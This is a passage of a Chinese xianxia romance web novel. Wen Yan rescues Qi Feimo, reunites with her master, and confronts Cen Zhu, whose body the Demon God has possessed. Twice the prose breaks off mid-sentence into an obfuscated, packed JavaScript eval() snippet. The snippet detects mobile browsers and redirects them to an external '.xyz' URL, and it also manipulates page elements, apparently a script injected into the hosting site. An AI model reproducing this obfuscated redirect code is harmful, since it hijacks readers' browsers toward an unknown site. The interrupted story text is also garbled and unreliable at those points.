四周是干净缥缈的云气,与魔域黑沉的天空不一样的景色。 他本以为自己真的死在岑竹手里了,刚刚清醒时候还有些愣怔,等到眼神聚焦,发现自己在温言怀里后,脸上唰的一下红透了。 他红着脸,眼神却有些迷惑:“我们离开魔域了吗?” 温言点了下头,然后扣着齐飞墨的手腕将他放在脚下的云上,揽着他带向自己,防止被空中乱流吹下去。 “我先带你回宗见你师父。” 齐飞墨有些心虚地点点头。 温言瞧了瞧他身上被魔气侵蚀得破烂的衣服,提醒道:“你还是换一身衣服吧,免得你师父担心。” 齐飞墨有些不好意思地挠头:“为了完成刺杀任务,我在储物袋里放的全是魔域常见的衣服款式,总不能穿着那样的衣服去见她。” 温言想了想,摸进自己的储物袋,从最底下翻出一件递给身旁的齐飞墨:“穿这件吧,是新的。” 若是桑纯看见齐飞墨一身黑色的暗杀衣服,还衣衫褴褛的,话还没说上两句,说不定就会气得晕过去。 齐飞墨磨磨蹭蹭地换上后,有些别扭地问她:“你这件衣服,是给谁……呃,买的?” 他问得结结巴巴,温言却听懂了他想问的。 “给道侣买的,但他已经用不到了。” 大婚之前逛街时候,温言想着岑竹衣服太少,便自作主张给他添置了几件,然而各种变故发生一直没送出去,被压在储物袋最底下再也没拿出来过。 没想到今天能用上。 齐飞墨大吃一惊,嘴巴险些没合起来:“……你何时有了道侣?” 大婚之事除了负责打理药铺的老管家、还有师父知晓外,温言并未对外宣扬,齐飞墨自然也是被蒙在鼓里的。 温言草草应付:“有段时间了,再说我与他如今不在一处。” 如今岑竹贵为魔主,身上的衣服料子都是最好的,不会稀罕她随手买的普通衣服。 再说岑竹刚刚继任魔主,总不会丢下所有事情只为找他们这两条漏网之鱼。 齐飞墨还想再问,被温言不咸不淡地挡了回去:“你此次去了魔域差点回不来,还是先好好想想怎么跟桑纯解释吧。” 齐飞墨立刻就像霜打的茄子一样蔫了。 —— 自从进阶到化神期后,温言的飞行速度快得不可思议,极短的时间内已经到达了聆音谷。 桑纯是个音修,也是聆音谷的长老之一。 聆音谷是个中型宗门,但因为距离魔域很远,又与世隔绝,并未被先前的战火波及,门内仍是一片祥和之象。 温言刚带着齐飞墨落在聆音谷外,就看到了御风而来的桑纯。 齐飞墨身上的弟子牌在靠近聆音谷时就被激活,一路上都在闪着微光。 桑纯感应到小徒弟弟子牌的波动讯号,在第一时间赶了过来。 自齐飞墨醒后,温言就不再将他抱着,而是支撑搀扶着他。 但齐飞墨人高马大,看着就像倚在温言身上似的,远远看着亲密无间,感情甚笃。 桑纯略懂医术,先是第一时间查看了齐飞墨的情况,确认不伤及性命后,悬在半空的心终于落下。 注意到两人相互依偎的姿势,目光顿时意味深长起来。 徒弟眼光一直不错,还挺有胆量,都学会蹭到女修的身上装柔弱了。 一段时间未见,温言的修为是愈发看不清了,桑纯看着温言心中欣喜,又开始为齐飞墨发愁。 齐飞墨看着桑纯的眼睛一转,就知道她想歪了。 他已经知道温言有道侣,就算放不下,也会说服自己放下。 因魔气侵体加上先前中毒,浑身无力,只能被温言揽着,现在是有苦说不出,一张俊逸深邃的脸绷得紧紧的,一副苦大仇深的样子。 桑纯对齐飞墨心里的苦闷全然不知,热情地将两人迎进谷中,一路传送带往自己的居所。 温言将齐飞墨送到,松开揽着齐飞墨的手,仔细地替他调配了专门抑制魔气的药物。 这个情景与过往中火毒的景象重合。 药膏涂在伤口疼痛加倍,齐飞墨却神思恍惚,看着温言久久无言。 为齐飞墨敷好药膏后,温言和桑纯告别准备离开,却被桑纯拉住了。 桑纯嗔道:“怎么才来就要走啊,你替我将徒弟从魔域里捡回来,我心里总是过意不去。” 温言摆手:“您一直都对我很好,齐飞墨是您的弟子又比我小,我一直将他当做自己的师弟,他落难我怎么可能袖手旁观。” 齐飞墨听见这句话后仿佛被重锤砸了似的,恍惚的思绪一下归位,那日魔宫中温言执意与岑竹对抗,只为救下自己,原来是这个原因。 他瞬间清醒了过来,神色受伤地看着温言。 温言不但是说给桑纯听的,也是故意让齐飞墨听见的,刮骨疗毒要稳准狠,他趁早打消念头,才能好好修行,或者重新喜欢其他人。 不必耽误在自己身上。 桑纯看了心碎一地的徒弟一眼,无奈地将眼神转向温言,微微一笑:“别急着走,我还要带你见个人。” 温言有些摸不着头脑。 身后传来熟悉的脚步声,她神色一凛,猛地回头。 来人容颜温润依旧,丝缎一般的银白长发垂坠而下,仿佛谪仙。 自她还是温府大小姐的时候,这个景象就早已刻入她的脑海。 温言忍不住弯起一双黑白分明的眸子,眼中有星光闪耀,开口唤道: “师父!” 尹雪楼一身素衣款款而来。 褪去掌门的光环后,他就是一个普通的师父,会关心徒弟有没有受苦,也会关心她的修为有没有进步。 温言并没有让他失望,周身精纯灵气环绕,隐有继续突破的趋势。 尹雪楼颔首,眼中含笑:“徒儿确实长大了,短时间内将修为拔高至大乘期,吃了不少苦吧。” 桑纯睁大了眼睛,心底激动的同时,又有些惋惜。 她修为不比尹雪楼,虽看出温言修为大有精进,却并不清楚具体境界。 纵使小徒弟齐飞墨眼光不错,可如今修真界的大乘期屈指可数。 温言如此年轻便已占了其一,这傻徒儿还怎么追得上人家。 上次合欢宗被屠宗,尹雪楼与诸位长老在岑竹的一击之下生死不明。如今温言很看见师父安然无恙,长舒一口气。 桑纯向来善解人意,扶着齐飞墨往外走去:“我带徒弟静养,你们有事再唤我。” 屋内,尹雪楼问起温言这段时间的经历。 温言着重回答了自己进阶过程的心得与感悟,略去了被岑竹带回魔域等事,她怕师父担心。 温言更加关心的是尹雪楼有没有受伤。 尹雪楼浅笑一声:“小伤,不妨事。” 温言认真道:“让我看看。” 尹雪楼叹了口气,还是伸出了手腕给她检查,脸上表情有些欢喜,也有些无奈。 徒弟修为大涨后,脾气也涨了不少。 从前她可不敢这样同自己说话,不过他反而觉得温言现在的性子会更好些。 温言收回探查的一丝灵力,察觉到尹雪楼的心不在焉,伸手在他面前晃了两下。 “师父,在想什么呢?” “想起了那你小时候的样子,娇蛮跋扈的,现在你倒是同之前有些相似。” 温言点点头,倒也不否认。 她是尹雪楼在凡间捡回来的。 一日,尹雪楼闲来无事,忽然想收个徒弟,下山后途径温府,受邀入府做客。 原本无久留之意,却在见到温家大小姐温言后临时改变了主意。 这是命运之外的一个偶然,却成为凡人大小姐温言踏入修仙之途的起点。 在被尹雪楼收为徒弟之前,温言本是个凡间锦衣玉食,娇生惯养,要风得风要雨得雨的大小姐。 她本该一直这样顺顺遂遂,富贵无忧,直到年迈老去。 ——直到她遇到了尹先生。 那时候,父母恭敬地称尹雪楼为尹先生。 作为家里的大小姐,要风得风要雨得雨。她整天懒懒散散地不肯动弹,不是在吃零嘴就是看话本,几个侍女轮流帮她捶背揉腿打扇斟茶,将她伺候得无微不至。 这样娇惯的学生很容易摆烂,足以让教书先生无从下手,气到头疼手抖。 目前府内所有授课先生都被温言活活气走了,有些甚至连月钱都不收,只摆手称自己无能。 尹先生周身气度不凡,风趣健谈,学识渊博,深得温言父母的信任与推崇。温言的父母如获至宝,许下大笔财富,请求他能待在府中一段时日,好好教导自家女儿的课业。 尹雪楼只称自己需要一段时间考虑。 但本应在书房练字的温言不知道从哪里听到来了个新的教书先生的消息。 她将毛笔一扔,字也不练了,怒气冲冲地跑到前厅准备想要看个究竟。 但当她提着裙摆赶到的时候,大厅已经空荡无人,只有几个侍女在整理打扫屋子。 温言有点失望,不知道事情进展如何,委屈巴巴地往回走时,却在养着金鱼的池塘边看到一个从未见过的人影。 岸边疏影横斜,光影错落。 那人一身灼灼红衣,饶有兴趣地观赏着不时跳出水面抢食的游鱼。 温言没发现自己已经停下了脚步,那人却已注意到身后的动静,微微转过身来。 因转身的动作,几绺漆黑的发丝随着动作滑落在耳边,衬着他露出的半张面容如三月春光。 温言从没见过这样出尘的人,一时愣怔在原地。 但她很快打起精神,想起自己跑来的目的,昂着头问他:“你就是今天被邀请来府上的那个客人?” 尹雪楼含笑点头,泰然自若,没有被她大小姐的架子唬到,反而像是在逗弄一只张牙舞爪的小猫。 温言因他戏谑的眼神有些生气,忍不住走近了些警告他:“我家的教书先生可是很难做的,你别白费工夫了。” 她以为面前的这个人也是因为丰厚的报酬想要来府上做她的教书先生挣些银两。 但这人定定地打量了她半晌,微微躬身,却只是伸手,如一片羽毛般拂过她的头顶,然后很快收回了那只手掌。 温言本能地后退了半步,感觉脑袋毛毛的,连说话都底气不足了起来:“怎,怎么了?” 却见他面上忽然浮现出一点暖融笑意:“你很聪明,天赋也高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769883|172045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我很喜欢。” 他态度诚恳,蹲下身与她平视,近在咫尺的面容温润如美玉。 温言惊得一个踉跄,跺着脚就跑了,纵然她跑的很快,仍听到了身后尹先生低沉悦耳的笑声。 事后温言越想越气,转身就找了父母告状。 不料父母竟欣喜若狂,不但为尹先生单独拨了一片院子,还捧上大笔金银财宝。 尹先生同意教导温言一段时间的课业。 由于气走太多老师,日子过得过于逍遥,听到这个噩耗的一瞬间温言觉得天都塌了。 尹先生总有层出不穷的手段和耐心。 即使温言使尽了浑身解数逃课,以前气跑先生的手段没有一个能在他身上奏效的,逼得她不得不坐回了课桌上,每日听尹先生讲课,完成各项课业。 在温言的心里,尹先生是一个看似温和实则强势的人,他说的话,做的事,从来不打折扣,对温言也是如此。 今天布置的课业必须当日完成,要求的字数一个字都不能少。否则惩罚非常可怕。 尹先生偶尔会凭空变出一些珍奇书册,授课完毕后这些书册又会凭空消失;他的衣料洁净无垢且质感特别,非人力所能造;桌案上的茶壶里好像总有取之不尽的泉水,茶香变幻不定,无论何时倒出都是温热的…… 这些温言看在眼里记在心头,也曾暗自揣测尹先生是否真的不是普通人,而是一些奇人异士。 尹雪楼在温府做了三年的教书先生,某日课上,他没有同往日一样在课后为温言答疑解惑,而是告诉她,自己今日将要离开。 温言目光中全是不舍:“以后您还能继续做我的师父吗?” 岁月匆匆,尹雪楼的一副极好样貌却未改分毫。 他面容平静地拉开温言的手,抽出被扯得微乱的袖口,看似心意已决。 温言垂下了眼睛,两只手绞在一起,看起来特别委屈:“但是您如果走了的话,可能没有其他先生愿意教我了。” 她对自己挺有自知之明。 尹先生笑了笑:“那你有没有想过,其实你可以随我一起离开?” 温言睁大了眼睛,潜意识又好像觉得不太对:“可父亲与母亲是不会同意的。” 像是看出她的犹豫,尹先生随意施展了个法诀,温言忽然感觉自己变得轻飘飘的,足底腾空,低头发现两人都飞了起来。 他们踩着一朵软绵绵的云朵慢悠悠地飘向了天上,从书房一直飘到前厅大院中。 一路上刚好让下面的人看得清清楚楚。 此时正值午后,阳光刺眼,可两人身上的霞光比太阳还要璀璨耀眼。 在院落中扫洒的下人最先发现了立在半空中乌发白衣的仙人,以及仙人身旁的小姐,丢下手中的活就往院外跑。 就这样一传十,十传百,院落中聚集跪拜的下人们越来越多,终于惊动了正在后院休息的温言父母。 待到温言父母听闻仙人降临家中,来不及梳洗匆匆赶到前厅时,就看见空中那道万丈霞光的缥缈身影,心中一震。 下人传的竟然是真的。 仙人降临了! 两人诚恳地跪拜仙人,直到仙人的霞光仙音近在眼前,显然有话要说之时,才敢稍微抬头细看。 这一细看,便看见自己的女儿没什么规矩地坐在仙人的脚边,手中转着一只黄澄澄的金环,垂下眸子悠然地打了个哈欠,然后对着他们咧嘴一笑。 再看那仙人的容貌,正是府内给大小姐教书的尹先生! 仙人看了虔诚跪拜的夫妻俩一眼,又将目光转向了坐在脚边玩耍的少女:“温言,既然不愿我离开,你可愿意随我一同修仙?” 下方院落里传来整齐的抽气声。 温言起身站直了身体,正色道:“弟子愿随师父一起修仙!” 一语激起千层浪。 温言的父母跪在地上喜极而泣:“感谢仙长相中小女!” 尹雪楼牵着温言的手,淡然地立在空中,无声地朝下方的人群点了点头,在下方无数双敬畏与虔诚的眼神中,两人身形渐渐模糊,直至消失。 这是温言的记忆中,师父将她带回宗门前她作为凡间大小姐的最后一幕。 此后,便只有修仙界的温言。 温言年少成名,一心修炼,却无半分心思在男女之情上,尹雪楼看在眼里,对后来之事已隐约有所预料。 ——她今后修为越是进境,瓶颈会越严重,甚至会诱发心魔。 合欢宗向来纵情却不深情,要以身入红尘,体验世间极乐,最后心境明澈,超脱万物,方能顿悟。 哪怕温言是天才也要付出代价,她不通情爱,无法强求,只能由她自行领悟。 后来,温言小心翼翼地告诉他,她触发了宗门任务。 尹雪楼只能告诉她:天命如此,不得不为。 都传宗门任务诡异残忍,不死不休,尹雪楼却认为它是一把利器。 证道才是此次任务的关键。 若能顺利完成,不但能将偏差的心境拉回正轨,甚至能大幅提升修为,成功与否就在温言一念之间,只盼她能在历练中顿悟明晰。 如今温言身姿出尘,心境通明,举手投足带着稳重与从容。 尹雪楼越看越满意,顺口问了句:“你终于将魔族五皇子放下了?” 温言摇头:“岑竹已经是魔域之主。” 24. 第 24 章 自温言带着齐飞墨从魔域回来,魔域那边不断有新的动静,仙盟这边也不甘示弱。 两方都在调度战力,筹备物资,积蓄力量等待最终的进攻时机。 在这段看似平和却暗流涌动的时间里,传播八卦成了最解压的娱乐活动之一。 而这波八卦的主角,莫过于美貌狠辣的新任魔主岑竹与最年轻的化神期天才温言之间的故事。 先是有小道消息称这位作风狠厉的新任魔主实际上是合欢宗某位女修的道侣。 后来消息散播流传,声称温言就是那个合欢宗女修。 最后风向一转,将一切责任归结到了温言身上。称正是因为她对这位魔主杀夫证道、始乱终弃,魔族少主才会彻底黑化,谋权篡位,成为如今令人闻风丧胆的魔主。 最年轻的化神期天才的风流轶事,谁都爱看。 无论流言是真是假,温言在修仙界中声名鹊起,重登天才之位是不争的事实。 在魔族正式向仙盟宣战的当天,仙盟将带领各宗弟子讨伐魔族的重任压在了温言的身上。 一开始温言是拒绝的,奈何盟主紧追不舍,舌灿莲花,将这件事从个人荣辱上升到了整个修仙界的未来走向。 盛情邀请的仙盟盟主:“整个修真界的目光都汇聚在你的身上,若是你去了,想必能带动各宗各派的青年才俊,仙盟才有战胜的希望。” 温言推辞:“魔族也有化神期,而且不止一个,我单独去讨不到好处。” 仙盟盟主给她喂定心丸:“放心,仙盟留下两个化神期镇住场子,其他的都随你同去,对了还有个大乘期的洛千山已经被我说动了,也会在旁协助你。” 温言继续往外推:“多谢盟主美意,但前辈们更有资历,我怎好出头。” 仙盟盟主穷追猛打:“这块令牌给你,洛千山欠我一个人情,你只管发号施令别有负担,他另外我再加一座中型矿山,供你修炼。” 温言叹气。 虽然她比从前成熟稳重了许多,但盟主给的实在是太多,这叫她怎么拒绝得了。 仙盟盟主微笑地看着她逐渐动摇的表情,知道事情已经谈妥,松懈之余忍不住和八卦旋涡的主角聊了两句。 “如今各门各派多少青年才俊都将你作为梦中之人,你可知他们背地里叫你什么?” 温言纠结地看了盟主一眼,最终配合问道:“什么。” “你如今是他们的温言仙子哦。” “咳咳……咳!” 再和盟主说下去,要不然就是被噎得一句话说不出来,要不然就会被自己口水给呛死。 温言接了令牌赶紧飞遁,与各门各派的精英弟子接洽,开始拟定作战计划。 —— 其实盟主看起来吊儿郎当,倒是没跟温言开玩笑,该给的令牌给了,该借的化神期也借了。 仙盟队伍配置齐全,物资充足。 温言自突破后心境通明透彻,在临行前耗干了盟主许诺的一个中型灵石矿,将修为提升并稳固至化神后期。 若非时间不够,突破大乘期也指日可待。 盟主看见灰扑扑的灵石碎屑心疼地捂住了心口,测了温言的境界后后又激动地痛哭流涕,直呼后生可畏。 温言修为稳定后就带领仙盟大军出发,应对魔军侵袭。 仙魔战场从两界的交界之处开始。 仙盟大军未见魔军前就已经憋了一口气,见到魔军后凶猛无比,简直要将其生吞活剥,以报当初屠杀修仙界的仇怨。 温言将剑修作为前锋,用这柄锐利至极的剑锋,加持上自己的术法,生生将披甲戴胄的魔族大军撕了个口子。 与此同时音修协同辅助,丹修在后随时治愈伤员,器修源源不断地提供最新的法宝与武器。 在温言的带领下,整个仙盟大军的配合天衣无缝,堪称完美,随后一路往前,推到了魔域的大本营。 之后温言修为愈发进境,跃过化神直至大乘,成为了仙道第一人。 温言根本没有用盟主给的令牌,手下的各个将领以及另一位神秘的大乘期都自觉听从她的调遣,相信她的判断。 如今她身边仙君不知凡几,无论是倾慕温言仙子的,还是想见仙道第一人的,都往她身边凑,各路男修甚至凑得比女修还殷勤。 岑竹着一身戎装领军出战,两军对峙,他却微微眯了眼睛,注意到包围在温言身边的各式各样的男修。 其实新任魔主被合欢宗女修始乱终弃的小道消息谣言不止流传在修仙界,还从修仙界一路飘到了魔域,又引起了一波汹涌的八卦热潮。 连岑竹也有所耳闻。 如今眼见为实。 风姿缥缈的音修,高大威猛的器修,清俊冷冽的剑修,玉树临风的丹修……他们与温言同属仙盟,在仙魔大战中生死与共,亲密至极。 只有自己站在了温言的对立面,成为了他们共同讨伐的敌人。 岑竹冷笑,手中骨剑抽出,蓄势待发。 在仙魔两族无数士兵的注视下,两人隔着千军万马,却是仇人见面分外眼红。不顾及半分旧日道侣的情分,出手便是雷霆万钧。 完全坐实了感情不和的传言。 温言进境速度太快,这一战岑竹输了个彻底,无论是修为还是心态上。 温言注意到他额头魔纹忽隐忽现,是即将魔化的前兆,并未穷追猛打,及时收手,规劝魔族早些投降。 魔族将士在魔域打了败仗,气势低迷。 岑竹让手下魔将进行安抚,一回到魔宫便打开了前往魔宫地下的封印。 连身上所穿的的沉重甲胄还未来得及解下,便义无反顾地走了进去。 魔宫最底下藏着魔域中最大的秘密——魔神。 传言说魔神早已死去,实际上魔神只是被封印镇压了,而且就在魔宫大殿地下。 岑竹身负返祖血脉,学习魔族顶尖功法事半功倍。自从目睹温言突破化神期离开魔域后,他更是刻苦修炼功法,却仍是赶不上她。 温言不愧是修仙界的天才,一朝蒙尘,尘土消散后仍是闪闪发光。 连他们的道侣契约都成为了她身上的一段香艳风流韵事。 岑竹自知实力不足,但在万千子民的眼皮底下,魔域不能在他的手上被攻破,他更不能在这里被温言打败。 为此,他要解开魔神封印。 据说魔神只有神魂没有躯体,降临后能极大地提升被降临之人的修为,这正是岑竹想要的。 只要能赢下仙魔大战的胜利,哪怕献上自己的一切,他也在所不惜! —— 最近仙盟大军迅猛进攻的势头被遏制,各个门派推选出弟子代表前来协商。 营帐内,温言听着下方过于漫无边际的大胆猜测与讨论,有些心不在焉。 不过有一点确实她也非常疑惑。 最近的几次交手,岑竹的气势与修为都节节拔高,她并非觉得他做不到这一点,而是本能觉得不对。 他并非性格上的转变,而是整个人的气质都完全不同了,就好像壳子还在,芯子里却换了一个人。 温言的预感其实是正确的,岑竹确实惹上了大麻烦。 他在开启魔神封印之前已经做了基本的准备,也考虑到夺舍这个可能,预留了部分的后手。 可没想到最大的问题反而在魔神降临上。 但凡魔神降临,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781978|172045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会自发一次又一次地抽离出岑竹的意识,降临的次数越多,吞噬岑竹意识的速度越快,如此下去,最后这具身体自然归于魔神所有。 魔神附身后,魔域接连传来捷报,只是岑竹却逐渐失去了自我控制,意识的回归与抽离都充满了不确定性。 有时候他还能凭借意志力强行让自己清醒,夺回自己身体的控制权,更多的时候只能进入防御性质的沉眠。 这是他抵御被魔主吞噬意识的最后一道防线。 他的识海一片狼藉,是与魔神长时间拉锯的结果,元神也缩成了很小的一团,被笼罩在一片柔和温暖的透明珠子中。 魔神的吞噬能力太过霸道,而且解封时用的是血契,就算岑竹如今后悔,也无济于事。 他常常想,若是没有这只珠子,自己的意识可能早就消散了。 魔族擅长蛊惑人心,魔神更是其中的佼佼者,他与温言交手多次,敏锐发现岑竹的异常反应,趁着岑竹清醒,攻心为上。 “你瞧,你在意的那个女人对你多冷漠啊,见到你无动于衷也就罢了,我和她动手的时候,是真的能感觉她想要杀了你呢。” “你又何必对她有执念呢,让我吞噬,成为我的养料,然后我帮你杀了她好不好?” 岑竹如今大部分时间都在沉眠,避免神识的消耗。 短暂的清醒还会被魔神拉住强行洗脑让他自我了断,长久以往,连神识上的光芒都暗淡了许多。 对于魔神的花言巧语,他向来左耳朵进右耳朵出,只是听见这种话后仍是动了些火气。 岑竹抱着膝盖缩在逐渐暗淡的珠子中,神魂却猛然爆出一阵强光。 他仰头反驳道:“就算要杀她,也只能我动手,你算什么东西,也配杀她?” 这么多天的哄劝,魔神实际上早已烦不胜烦。 只是岑竹的魔魂一直被定魂珠护着,若是想等到神识自行消散,不知还要等到何时,因此魔神才一直用言语哄他骗他,想让他失去求生意志,别再抵抗。 眼看岑竹神魂日益虚弱,却又因为提及了那个对他毫无情意的女人,莫名令他激发出了求生的意志。 功亏一篑,真是棘手。 来来回回地拉锯,彻底让魔神失去了耐性。 魔神撕掉了平日惯用的温和伪装,露出了狰狞的样貌。 他不再蛊惑岑竹的心神,只冷冷道:“你以为凭着那颗定魂珠护着你,就能反抗我吗?” 岑竹心中一动,机械而缓慢地重复道:“定魂珠?” 魔神咧嘴一笑:“你成日躲在里面多无聊啊,要不要出来试试?” 岑竹知道魔神又在框他。 可是他体内怎么会有定魂珠? 对了,温言曾经对他说过,他的死而复生并非偶然,正是因为她为自己镇住了魂魄。 用的就是定魂珠。 从养魂池醒来后,岑竹曾无数次探查过自己的身体有无异常。温言所说的那番话虽然看似荒谬,他也并非毫无触动。 只是定魂珠使用后便会化于魔魄之中,无论是温言还是他自己,都找不到任何关于她口中所说的定魂珠踪迹。 最终不了了之。 岑竹仔细观察识海中的这颗珠子,上面的色泽几近透明,仿佛随时都将碎裂,却仍将他脆弱的意识牢牢地护于其中。 温言当初任务在身,却还是对他手下留情了,否则他根本无法在养魂池中修复受损魔魂。 她说了实话,只是他一直不愿相信。 尽管处于生死边缘之际,岑竹的心头却仿佛潮水涌动一般,泛起了不合时宜的激动与甜蜜。 原来他心心念念的在意与偏爱,早就得到了啊。 25. 第 25 章 岑竹极力与魔神周旋并拖延时间。 他整个元神蜷缩在定魂珠里,浑浑噩噩中几乎察觉不到时间的流逝。 不知怎么的,又想起了温言。 相遇的最初,岑竹认为温言是心系苍生的温柔仙子,但大婚被杀后他因爱生恨,觉得她只是个一心修炼还会利用感情的狠心女人。 她温柔却又残酷,时常让岑竹觉得她没有心,根本不在乎他。 但是岑竹悲哀地发现,就算他给自己下了水中月的诅咒,认清了自己爱得卑微又无力的事实,此刻最想的还是再见她一面。 从前被他亲手掐灭的感情在此刻生根发芽,破土而出,在死亡的前夕,他明明白白看清了自己的心意。 他的喜欢,并非作假。 魔神看着岑竹眼中逐渐蓄起了光芒,先是微不可察地惊愕了片刻,随后皱眉,眯了眯眼睛,想起来之前听到一些零碎消息。 随着在这具躯体上附身的时间越来越久,越来越多的消息与情报第一时间传到的是他的耳朵里。 其中一桩关于魔主被仙子始乱终弃的传闻倒是有趣,方才岑竹被试探后的第一反应也侧面说明了他对这名女修的在意。 看来让岑竹放弃希望的关键点,还是在这位传说中温言仙子身上。 只是要怎么才能见到她? 魔神是曾经的乱世中翻云覆雨的人物,不喜欢墨守成规,反而勇于剑走偏锋,而且行动力惊人。 他当即想了个好法子,且立刻遣人去办了。 仙盟这边突然来了名魔域的使者,还带着魔主的信。 温言当着众人的面打开后告知了魔主有意求和的消息,众人反而炸了锅一般吵成一团。 如今仙盟处于下风,魔域却率先求和,本就反常;更为反常的是,现任魔主岑竹要求此次求和中单独与温言仙子会面,否则免谈。 这一看就是个让人心动忍不住想跳的陷阱。 可没人愿意让温言去冒这个险。 虽然岑竹曾是她的道侣,但现在大家都知道两人撕破了脸后是真的见面就打,不死不休那种,再说岑竹修为忽上忽下神秘莫测,该不会是用了什么秘术,他们怕温言吃亏。 最终众人达成了一致意见,纷纷劝说温言不要趟这趟浑水。 但温言却不这么想。 先前仙魔战场上温言也多次与他交手,虽然两人斗得你死我活十分凶残,但打多了总会有些默契,对彼此常用的招式与手法都心知肚明。 但最近的几次,岑竹出招手法明显变了,那种将一切玩弄于股掌的睥睨姿态,与以前大相径庭。 温言想,他大抵是出了什么事。 虽然众人大多数的意见是让她不要去,但温言作为最终决策者,还是拍板同意了魔主的提议。 信上约定了商谈的时间。 温言如约而至。 —— 赴约之前,温言第一次动用了盟主给她的的令牌,给同是大乘期的洛千山下达了第一个指令:若去她在谈和的过程中和魔主动手,中途搭把手。 洛千山自从来了魔域后,喝酒找乐子两不误,日子过得潇洒恣意。 直到今天温言派了个任务。 他顺嘴调侃了一句:“仙道第一人也怕打不过道侣啊?” 温言冷着脸却没有否认。 岑竹近期修为波动很大,有时是正常的修为,有时却隐隐逼近大乘期后期,实在让人百思不得其解。 正因如此,她才表面上答应了求和,实则打算前往魔宫探查。 这算是她第二次正大光明地进入魔宫,第一次还是作为岑竹名义上的阶下囚被带进来的。 不多时,高大巍峨的魔宫大殿已经近在眼前。 温言深吸一口气,迈步走上宫殿前的第一层台阶,台阶很高,更是显得大殿庄严肃穆高不可攀。 温言只规规矩矩地踩了一层台阶,之后借力飞掠而上,稳稳地踩在魔宫大殿外的砖石上,随手推开了那扇尤为高大的殿门。 魔神稳坐大殿之中。 岑竹感应到温言的靠近,挣扎着想要夺回身体的控制权,却又被魔神强硬地压回了识海。 魔神给岑竹暗中传音,语气挑衅:“只要她死,仙盟就群龙无首,你不是一直期望魔军大胜吗?” 岑竹被强行镇压,神识虚弱,嘲笑道:“你是魔神,却不敢和她在战场上一决胜负,这种做法可真是卑鄙。” 魔神看着温言逐渐走近的身影,暗自笑了声:“你喜欢的仙子确实有些难缠,不过只要是赢,用何种手段都行。” 月光从温言推开的门缝中漏了进来。 大殿中空荡而华丽,正中的高高王座上坐着一个人,他的手支着额头,唇畔含笑,笑容却没有任何温度。 视线相触的瞬间,魔神攻击已至。 温言表现出略显仓促的样子,慢吞吞地闪避过这道攻击。 “若我没记错,魔主是来约我谈和的。” 占据了岑竹身体的魔神微微一笑:“那又如何呢,现在我改变主意了。” 岑竹的性格无论如何变化,有一点却从未变过。 ——只要温言在的地方,他的目光总是会追随过来,简直如影随形一般。 这一点恐怕连他自己都不知道。 温言的目光紧紧地盯着王座上那道冰冷强大身影。 只见对方唇角勾起,颇为好奇地看了她一眼,之后便又兴致缺缺地移开了。 “倒是机警。”他评价道。 温言却在这一瞬间确认了自己的猜测,他不是岑竹。 岑竹怎么可能在两人见面时对她产生好奇的情绪,他可能会高傲,紧张,或是愤怒,伤心,却唯独不可能是好奇。 他们又不是第一次见面。 温言后退一步,心中凝重,现在与她遥遥相望的那个人,到底是谁?岑竹又在哪里? 事已至此,即使面前是陷阱,她也非踏不可了。 密集如雨的攻击中,温言灵巧变换身形,手中再次出现了那条惯用的长鞭。 鞭子却并未往魔神要害处攻击,反而如灵蛇一般以意想不到的刁钻角度,当胸甩了魔神一鞭子。 如今魔神所用的身体还是岑竹的。 魔族天生体质强悍,寻常鞭伤并无大碍,只是这一鞭上灌注了灵气,纵使再精巧的衣物也架不住如此一击。 刺啦一声,布料碎裂,露出被布料覆盖后的白皙胸膛,一眼望去,上面那道狰狞的红色疤痕分外显眼。 是温言亲自刺的一刀,她不会认错。 她不禁皱起眉头,面前的人有着岑竹的身体,却并非岑竹的意识,那他本人的意识呢? 识海中,岑竹狠狠掐着自己的手心,总算让意识清醒了一点,暗中用神识同魔神的意识抵抗。 魔神正在调用大量的魔气与温言酣战,分不出太多心神与岑竹周旋,却刚好是岑竹抢夺主导权的最佳时机。 他在识海中点了一把火,带着玉石俱焚的气势,势必要扳回身体的主导权。 神识之内仿佛煮沸的水一般,到处都是难以承受的高热。 事实证明,魔神面对大乘期的对手,还是要打起些精神,可这具身体却总是给他拖后腿,脑内传来一阵阵剧痛,不断对他进行干扰 温言使的鞭子出神入化,行踪莫测,如同绞藤一般防不胜防。 魔神逐渐左支右绌,但他毫不让步,处于弱势却强行调用了更多的魔力,以损伤经脉为代价,再次向温言发动新一波攻击。 温言在身前飞快结了片屏障,挡了一击后飞快打了个手势。 隐在暗处吃瓜的洛千山终于现身,他虽有些不羁,斗法经验却是顶尖的那批,与温言联手,攻势凌厉,配合完美。 魔神不得不集中精神,与此同时,神识那边就松懈了太多。 岑竹的资质并非最好,加上如今经脉受损,识海翻腾,魔神处处受限更加发挥不了原本的实力。 岑竹忍着痛楚,在识海中搅了个天翻地覆。 意识受损的瞬间,退缩是本能,魔神此刻并无太多防备,岑竹抓住这唯一的机会,终于清醒了过来。 温言一边与眼前之人周旋,一边思索着办法,却见“岑竹”的攻击忽然定住,之后纷纷消散成了魔气,同时他像是遭受了极大的痛苦一般,抱着脑袋无力地蹲了下去。 温言担心对方设套,不敢轻易上前,只远远观察这副模样,觉得有点像是,失控? 她试探地喊了声岑竹的名字。 回应她的是一双熟悉的,带着明显情绪 